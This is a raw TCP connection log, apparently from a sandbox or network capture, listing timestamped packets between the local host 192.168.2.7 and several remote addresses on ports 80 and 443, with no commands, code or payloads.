Jan 12, 2025 09:27:11.597884893 CET	50253	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.597891092 CET	50252	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.597992897 CET	443	50252	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:11.598067999 CET	50252	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.601588964 CET	80	50249	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.602781057 CET	80	50253	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:11.602853060 CET	50253	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.602885962 CET	50253	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.607651949 CET	80	50253	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:11.813663960 CET	80	50251	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.813746929 CET	50251	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.814197063 CET	80	50251	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.814244986 CET	50251	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.815828085 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.815931082 CET	443	50256	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:11.816016912 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.816514015 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.816554070 CET	443	50256	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:11.819788933 CET	80	50251	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:12.066726923 CET	80	50253	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.066807032 CET	50253	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.066862106 CET	80	50253	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.066910982 CET	50253	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.067630053 CET	50257	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.067662954 CET	443	50257	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.067717075 CET	50257	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.067763090 CET	50257	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.067847967 CET	443	50257	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.067890882 CET	50257	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.068370104 CET	50258	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.071659088 CET	80	50253	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.073205948 CET	80	50258	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.073261023 CET	50258	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.073554993 CET	50258	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.078339100 CET	80	50258	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.313846111 CET	443	50256	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:12.313949108 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:12.315386057 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:12.315485954 CET	443	50256	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:12.315543890 CET	50256	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:12.331850052 CET	50259	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.331883907 CET	443	50259	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.331957102 CET	50259	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.331957102 CET	50259	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.332093954 CET	443	50259	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.332151890 CET	50259	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.334059954 CET	50260	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.338994026 CET	80	50260	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.339050055 CET	50260	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.340502977 CET	50260	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.345316887 CET	80	50260	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.537415028 CET	80	50258	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.537592888 CET	80	50258	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.537642002 CET	50258	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.549792051 CET	50258	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:12.550394058 CET	50261	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.550426006 CET	443	50261	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:12.550479889 CET	50261	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.550501108 CET	50261	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.550630093 CET	443	50261	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:12.550688028 CET	50261	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.554632902 CET	80	50258	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:12.565306902 CET	50262	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.570213079 CET	80	50262	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:12.570306063 CET	50262	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.572257996 CET	50262	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:12.577100992 CET	80	50262	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:12.833381891 CET	80	50260	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.833600044 CET	80	50260	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.833666086 CET	50260	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.834971905 CET	50260	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:12.839835882 CET	80	50260	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:12.841233015 CET	50263	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.841337919 CET	443	50263	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.841429949 CET	50263	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.841429949 CET	50263	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.841624022 CET	443	50263	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.841691971 CET	50263	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.845921040 CET	50264	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.850790977 CET	80	50264	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:12.850872040 CET	50264	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.855453014 CET	50264	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:12.860260963 CET	80	50264	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:13.027383089 CET	80	50262	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.027538061 CET	50262	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.028103113 CET	80	50262	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.028157949 CET	50262	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.032490969 CET	80	50262	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.055464983 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.055494070 CET	443	50267	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:13.055548906 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.056360960 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.056375980 CET	443	50267	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:13.318712950 CET	80	50264	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:13.318954945 CET	50264	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:13.319421053 CET	50269	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.319446087 CET	443	50269	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.319525957 CET	50269	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.319719076 CET	50269	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.319777966 CET	443	50269	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.319837093 CET	50269	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.320000887 CET	50270	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.320595980 CET	80	50264	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:13.320653915 CET	50264	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:13.323911905 CET	80	50264	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:13.324945927 CET	80	50270	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.325002909 CET	50270	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.325016975 CET	50270	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.330033064 CET	80	50270	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.540648937 CET	443	50267	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:13.540834904 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.541816950 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.541984081 CET	443	50267	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:13.542062044 CET	50267	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:13.542423964 CET	50271	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.542457104 CET	443	50271	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:13.542526960 CET	50271	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.542551994 CET	50271	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.542658091 CET	443	50271	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:13.542712927 CET	50271	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.542884111 CET	50272	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.547705889 CET	80	50272	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:13.547759056 CET	50272	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.547885895 CET	50272	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:13.552695036 CET	80	50272	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:13.792431116 CET	80	50270	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.792639017 CET	50270	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.793133020 CET	50273	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.793162107 CET	443	50273	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.793236971 CET	50273	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.793261051 CET	50273	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.793407917 CET	443	50273	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.793472052 CET	50273	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.793550968 CET	50274	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.793673038 CET	80	50270	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.793725014 CET	50270	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:13.797487974 CET	80	50270	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:13.798338890 CET	80	50274	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:13.798393965 CET	50274	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.798412085 CET	50274	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:13.803214073 CET	80	50274	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:14.002796888 CET	80	50272	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.002860069 CET	80	50272	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.002888918 CET	50272	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.002912998 CET	50272	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.005614042 CET	50275	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.005640030 CET	443	50275	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.005714893 CET	50275	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.005738020 CET	50275	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.005887985 CET	443	50275	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.005948067 CET	50275	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.006262064 CET	50276	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.007754087 CET	80	50272	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.011292934 CET	80	50276	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.011353016 CET	50276	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.011379004 CET	50276	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.016150951 CET	80	50276	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.249157906 CET	80	50274	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:14.249259949 CET	50274	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:14.249687910 CET	80	50274	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:14.249747038 CET	50274	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:14.251292944 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.251334906 CET	443	50280	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:14.251386881 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.251959085 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.251969099 CET	443	50280	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:14.253993034 CET	80	50274	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:14.493922949 CET	80	50276	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.494472980 CET	80	50276	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.494575977 CET	50276	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.494626999 CET	50276	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:14.495450020 CET	50281	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.495563984 CET	443	50281	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:14.495666027 CET	50281	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.495743990 CET	50281	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.495847940 CET	443	50281	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:14.496040106 CET	50282	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.496084929 CET	50281	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.499488115 CET	80	50276	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:14.500907898 CET	80	50282	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:14.500993013 CET	50282	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.503729105 CET	50282	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:14.508491039 CET	80	50282	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:14.781198025 CET	443	50280	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:14.781294107 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.798146963 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.798250914 CET	443	50280	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:14.798768044 CET	443	50280	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:14.798804998 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.798844099 CET	50280	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:14.798890114 CET	50283	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.798921108 CET	443	50283	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.799004078 CET	50283	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.799072027 CET	50283	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.799165010 CET	443	50283	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.799231052 CET	50283	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.799514055 CET	50284	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.804337025 CET	80	50284	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:14.804415941 CET	50284	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.804464102 CET	50284	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:14.809232950 CET	80	50284	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:15.023123980 CET	80	50282	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.023217916 CET	50282	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.023422956 CET	80	50282	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.023695946 CET	50282	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.024154902 CET	50285	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.024188042 CET	443	50285	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.024266958 CET	50285	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.024295092 CET	50285	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.024475098 CET	443	50285	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.024538994 CET	50285	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.024777889 CET	50286	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.027972937 CET	80	50282	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.029591084 CET	80	50286	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.029655933 CET	50286	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.031341076 CET	50286	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.036205053 CET	80	50286	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.276155949 CET	80	50284	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:15.276247978 CET	50284	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:15.276438951 CET	80	50284	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:15.276525974 CET	50284	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:15.278464079 CET	50287	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.278495073 CET	443	50287	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.278558016 CET	50287	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.278604984 CET	50287	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.278696060 CET	443	50287	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.278755903 CET	50287	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.279833078 CET	50288	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.281089067 CET	80	50284	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:15.284662962 CET	80	50288	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.284733057 CET	50288	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.284837008 CET	50288	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.289622068 CET	80	50288	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.482400894 CET	80	50286	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.483284950 CET	80	50286	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.483367920 CET	50286	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.511428118 CET	50286	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:15.516220093 CET	80	50286	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:15.559459925 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:15.559499979 CET	443	50291	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:15.559578896 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:15.560344934 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:15.560357094 CET	443	50291	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:15.758469105 CET	80	50288	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.759326935 CET	80	50288	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.759396076 CET	50288	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.763659954 CET	50288	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:15.768476009 CET	80	50288	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:15.774281979 CET	50292	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.774315119 CET	443	50292	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.774414062 CET	50292	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.774414062 CET	50292	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.774550915 CET	443	50292	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.774648905 CET	50292	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.795874119 CET	50293	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.800781965 CET	80	50293	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:15.800880909 CET	50293	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.820755959 CET	50293	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:15.825608969 CET	80	50293	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:16.024975061 CET	443	50291	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:16.025187969 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:16.182399035 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:16.182514906 CET	443	50291	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:16.182594061 CET	50291	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:16.274784088 CET	80	50293	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:16.275489092 CET	80	50293	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:16.275561094 CET	50293	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:16.278178930 CET	50293	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:16.278949022 CET	50294	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.278976917 CET	443	50294	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.279042959 CET	50294	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.279066086 CET	50294	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.279176950 CET	443	50294	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.279236078 CET	50294	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.283035994 CET	80	50293	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:16.288624048 CET	50295	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.288651943 CET	443	50295	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:16.288712025 CET	50295	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.288777113 CET	50295	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.288806915 CET	443	50295	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:16.288856030 CET	50295	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.299374104 CET	50296	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.304228067 CET	80	50296	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.304302931 CET	50296	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.319017887 CET	50296	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.323864937 CET	80	50296	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.592223883 CET	50297	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.597110033 CET	80	50297	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:16.597182989 CET	50297	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.597207069 CET	50297	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:16.602032900 CET	80	50297	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:16.775712013 CET	80	50296	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.776071072 CET	50296	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.776662111 CET	50298	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.776694059 CET	443	50298	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:16.776768923 CET	50298	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.776799917 CET	50298	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.776916027 CET	443	50298	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:16.776978970 CET	50298	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.777333975 CET	50299	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.777450085 CET	80	50296	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.777509928 CET	50296	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:16.780931950 CET	80	50296	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:16.782196045 CET	80	50299	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:16.782255888 CET	50299	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.782347918 CET	50299	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:16.787122965 CET	80	50299	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.058357954 CET	80	50297	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.058445930 CET	50297	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.058882952 CET	80	50297	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.058934927 CET	50297	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:17.060853004 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.060883045 CET	443	50302	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:17.060936928 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.061537027 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.061551094 CET	443	50302	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:17.063282967 CET	80	50297	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:17.255031109 CET	80	50299	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.255130053 CET	50299	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.256026030 CET	80	50299	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.256093979 CET	50303	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.256122112 CET	50299	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:17.256161928 CET	443	50303	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.256228924 CET	50303	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.256263971 CET	50303	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.256392956 CET	443	50303	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.256450891 CET	50303	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.256711006 CET	50304	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.259906054 CET	80	50299	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:17.261559963 CET	80	50304	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.261632919 CET	50304	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.261694908 CET	50304	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:17.266475916 CET	80	50304	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:17.525993109 CET	443	50302	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:17.526072025 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.532412052 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.532501936 CET	443	50302	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:17.532656908 CET	50302	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:17.533102036 CET	50305	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:17.533123970 CET	443	50305	188.114.97.3	192.168.2.7
